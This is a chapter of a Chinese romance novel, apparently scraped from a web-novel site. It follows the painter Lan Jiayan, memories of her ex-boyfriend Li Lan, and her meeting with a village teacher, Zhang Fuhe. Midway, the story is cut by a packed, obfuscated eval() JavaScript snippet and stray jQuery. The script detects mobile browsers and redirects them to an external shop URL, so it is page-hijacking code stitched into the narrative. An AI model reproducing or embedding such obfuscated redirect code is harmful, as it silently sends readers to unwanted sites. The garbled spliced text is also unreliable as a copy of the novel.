地上的画纸凌乱铺散着,每一幅都是从大巴车上看到的风景。可是画画的人并不满意。李澜不懂画,不懂艺术,他没有理兰嘉言,跨过那些画,走到门口,听到兰嘉言很平静的说:“你恨我。”
断崖式分手对于年少的李澜来说确实是一桩无法被抹平的伤痛,他不懂为什么两个人明明之前还那么好,就突然要分手,为什么兰嘉言要不告而别,这段感情甚至连一个句号都没有,就那么戛然而止。但是时间会给他解答,他在后来遇到形形色色的人后得到了答案,于是那抹被压抑深藏的感情悄无声息的发生了改变。
他是恨的,也是气的。
可是六年过去,早就习惯了隐藏自己情感的李澜已经没办法再开口质问些什么。便是关系好的朋友几年不联系不见面突然相逢也很难找到话题。更别提他们这样的关系。
李澜心中有气,但也只能是有气。那天晚上的事情他无法解释,但今天他上来只是确认兰嘉言有没有出事,现在没有,他就该走了。
李澜压下门把手,在门打开之前,说:“你是成年人,应该学会对自己负责,你把自己关在房间里酗酒,如果出事了,不会给你后悔的机会。”
说完,他将门拉开离开。
门被关上,声响让兰嘉言的睫毛颤了颤。她感受着李澜留下的气息,脑海中响起了无数被交织在一起的声音。
“国外这些人,为了找灵感去吸`毒,兰嘉言,我不管你怎么画,但别忘了你的身份,什么能碰,什么不能碰。”高确优雅而冷漠的声音从门口高高在上的传来。
十九岁的兰嘉言躺在地上,倒下的颜料桶弄脏了她的衣服、头发和身体。旁边是乱七八糟的酒瓶。第一次封闭了半个月的房间被打开,外面的光太刺眼,兰嘉言不想睁眼。
但她不睁眼,高确也知道她醒着,高确说:“这些东西我会拿去检测,你好自为之。”
兰嘉言笑了一声,说:“艾伦吸毒的事你应该比我知道的早,他找我,只不过是想睡我,我知道我的身份,所以我拒绝了,你不用那么担心,我如果在这里吸`毒,用不着你,警察一定比你先到。”
高确仍然在捡那些酒瓶,最后,她弯下腰拔了兰嘉言的一根头发装起来,说:“距离比赛还有一个月,你如果需要酒,我会让人送过来。”
“你怎么了?”
十七岁的兰嘉言抱膝坐在教学楼安全通道后面,她把头埋进膝盖里无声的哭泣着,楼道里一直有人上上下下,有人注意到了她,有人没有,不知道过了多久,一道略微熟悉的声音从头顶落下。
兰嘉言抬起头,将一双红肿的眼睛暴露在李澜的眼中,李澜半蹲在她面前,说:“别难过。出什么事儿了?有人欺负你吗?”
说完,他又手中给自己买来当晚饭的面包递过去:“吃点儿东西吧,晚上还要上自习。”
兰嘉言没有伸手,但李澜看出来她要起身,李澜就退后,但是兰嘉言的腿麻了,她站不起来,于是李澜朝她伸出手:“不介意的话,我扶你吧。”
兰嘉言就把手放了上去,宽大温暖的触感让她觉得心安。
兰嘉言拿被子捂住头,那些声音终于消失了,取而代之是无尽的寂静。她用被子罩住那些气味,终于昏昏沉沉睡去。
她想,她好像知道自己想要的是什么了。
这一觉睡得格外稳,没有乱七八糟的梦,睁开眼只觉得从头顶到脚下的舒服。兰嘉言把地上的画捡起来扔垃圾桶里,但是垃圾桶放不下,她只能给拉木打电话。
拉木很快上来,手里还端着盘子,上面有酥油茶,还有他们当地的特色。拉木是个藏不住心里想法的人,他看见满地的画纸,脸上是藏不住的愕然:“这……”
他有些无处下脚。
兰嘉言用脚随意踢开,示意他进来,但拉木还是小心的没踩到画纸,然后把托盘放在桌字上,说:“我想你一天都没吃饭肯定饿了,就给你做了这些,也不知道你能不能吃得惯,要是不爱吃,我这里还有面包。”
兰嘉言这才注意到拉木的小拇指上勾着一个塑料袋,塑料袋里都是拉木专门跑去山下小卖部买的面包牛奶泡面。
拉木把塑料袋也放下,小心的把地上的画纸收拾起来,又换了新的垃圾袋,走到门口又迟疑着没出去,期期艾艾的看着兰嘉言,兰嘉言看回去:“怎么了?多少钱?”
拉木摆摆手:“不是,不要钱,你以后还喝酥油茶吗?”
兰嘉言笑了下,说:“喝。”
拉木也跟着笑起来:“喝就好,我明天还做。”
门被关上。
兰嘉言把拉木送上来的饭吃了个干净,她拉开窗帘向外看去。这里的夜空很晴朗,她能看见天上的星星。她又把窗户打开,夜晚凉凉的风吹进来,她忍不住探出头去。
她觉得自由极了。
第二天。
兰嘉言又重新背上画架,喝完拉木做的酥油茶,转身朝着山上走去。
越往山上走,天空的云就越明显,就好像一直走下去,能走到天上。清晨的人不多,也有人是朝着山上走的,有人会拐进山上的寺庙了,有人会坐在山上的草地上。兰嘉言始终没有停下,最终,她看见了那个立在山顶的小小学校。学校门口的那杆高高飞扬的红旗让学校看起来也高大了许多。
她来的很早,教学楼里没有读书声,像是围栏的操场上也看不见学生。现在还不到上课的时候。
学校没有大门,兰嘉言如果想进去,很轻松的就能推开,但是她没有进去,而是在外面寻了一处视野好的地方,展开画架,把画纸挂上去。
在她落下最后一笔时,旁边传来一道温柔的声音:“你画的真好看,你是画家吗?”
兰嘉言回头,是一个面容有些苍白的女人,她脸上没有这里人的敦实和健康。张抚河朝她友好的笑了笑。
兰嘉言说:“不算,只是喜欢画画。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276271|198259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
张抚河坐在她身边,极为自来熟道:“你来这里是找灵感吧。”
兰嘉言说:“为什么这么说?”
张抚河说:“艺术家都喜欢到处找灵感,有人会去草原,有人会去城市,有人选择高楼,有人选择砖房。我年轻时候喜欢写一些东西,就会到处跑,跑去一个我从来没去过的地方。”
兰嘉言笑了下,问她:“那现在呢?”
张抚河说:“理想需要现实支撑,我只是喜欢写,但我在这里没有天赋,所以我选了另一条让我觉得快乐的事情。”
兰嘉言说:“什么?”
到了上学时间,已经有小朋友背着书包上来,然后用不熟练的普通话对张抚河喊:“张老师早上好。”
张抚河回头笑着朝学生挥挥手,然后道:“来这里做老师。”
她问兰嘉言:“你会在这里久待吗?”
兰嘉言说:“或许会待一个月。”
兰嘉言不介意和别人聊天,这也是她获取灵感的一个来源:“你为什么会选择来这里做老师?这里很落后,也很不安全。”
她是指张抚河孤身一人。既然不是支教,那就证明她在这里待了很久。
张抚河把目光从兰嘉言的画上移到远方,颇有些感慨道:“以前读书的时候,总是被教育要找一份好工作,工资可以不高,但一定要体面。那是世俗要求的,我不喜欢这样,我不希望我的存在是因为世俗,也不希望我是为了世俗的意义存活。人总要为自己活一次嘛,我就叛逆的选择了支教,结果来了这里待了一段时间后,就舍不得离开,我喜欢这里的一切,所以我就来这里当了老师。”
兰嘉言眨了眨眼,没有说话。
张抚河也不介意,她拍拍手起身,说:“时间到了,我该给孩子们去上课了,祝你得偿所愿。”
兰嘉言还在想张抚河的话,她最开始并不是因为喜欢才选择画画的。
城市里的高楼让她喘不过气来,家里更像是被放了巨大的真空机,只要一走进去,窒息的绝望就会不断朝她涌来。
人如果在高压下不不发泄,是会疯掉的。
兰嘉言最开始不知道怎么发泄,她的发泄方式很老旧,她会哭会喊,可是那没有用。因为没有人在意,所以她的哭喊不是发泄,而是挣扎。挣扎是需要力气的,没有人能一直挣扎。于是她开始尝试写日记,她试图用笔宣泄情绪,可是日记是公开的,不是私密的。她讨厌自己的一切被公开在所有人的眼中。
后来她发现画画也可以,那是她唯一可以用自己的方式去宣泄情感、而不被人发现的隐秘乐园。
只是最后,她也被异化成了一个怪物。
兰嘉言看着画纸,又一次想抬手撕掉,但是身后原本安静的教学楼突然吵闹起来。
她回过头。
看见李澜从办公室里跑出来,将张抚河从教室里抱出来,她的嘴角挂着血痕,身后是担心害怕的学生们。